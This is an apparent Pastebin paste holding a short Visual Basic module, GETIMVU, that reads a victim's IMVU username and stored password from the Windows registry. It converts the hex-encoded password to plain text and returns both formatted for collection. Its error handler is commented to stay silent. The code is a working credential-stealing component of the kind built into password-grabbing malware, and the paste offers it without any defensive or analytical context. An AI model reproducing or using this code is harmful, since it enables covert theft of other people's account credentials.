Guest User

Untitled

a guest
Jul 15th, 2018
112
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.29 KB | None | 0 0
  1. Public Function GETIMVU() As String
  2. Dim sUser, sPass As String ' // Some Variables
  3. sUser = "HKEY_CURRENT_USER\Software\IMVU\username\" ' // Username REG Path
  4. sPass = "HKEY_CURRENT_USER\Software\IMVU\password\" ' // Password REG Path
  5. GETIMVU = "IMVU : " & vbNewLine & "Username : " & ReadKey(sUser) & vbNewLine & "Password : " & Hex2Ascii(ReadKey(sPass))
  6. End Function
  7.  
  8. Function ReadKey(ByRef hKey As String) As Object ' // Function for Read REG Values
  9. On Error GoTo Error_Renamed ' // If Error dont Display Error
  10. Dim X As Object ' //
  11. X = CreateObject("WScript.shell") ' // Create REG Object
  12. ReadKey = X.regread(hKey) ' // Read The Key
  13. Exit Function
  14. Error_Renamed: ReadKey = vbNullString ' // If Error Readkey = ""
  15. End Function
  16.  
  17. Public Function Hex2Ascii(ByVal Text As String) As String
  18. Dim Value As Object
  19. Dim num As Object
  20. Dim i As Object ' // Simple Function for Pass Hex to Ascii
  21. Value = Nothing
  22. For i = 1 To Len(Text) ' Len of Encripted Text
  23. num = Mid(Text, i, 2) ' // Go Chr by Chr
  24. Value = Value & Chr(Val("&h" & num)) ' // Pass from Hex
  25. i = i + 1 ' // +1
  26. Next i ' Next Chr
  27.  
  28. Hex2Ascii = Value ' //
  29. End Function
Add Comment
Please, Sign In to add comment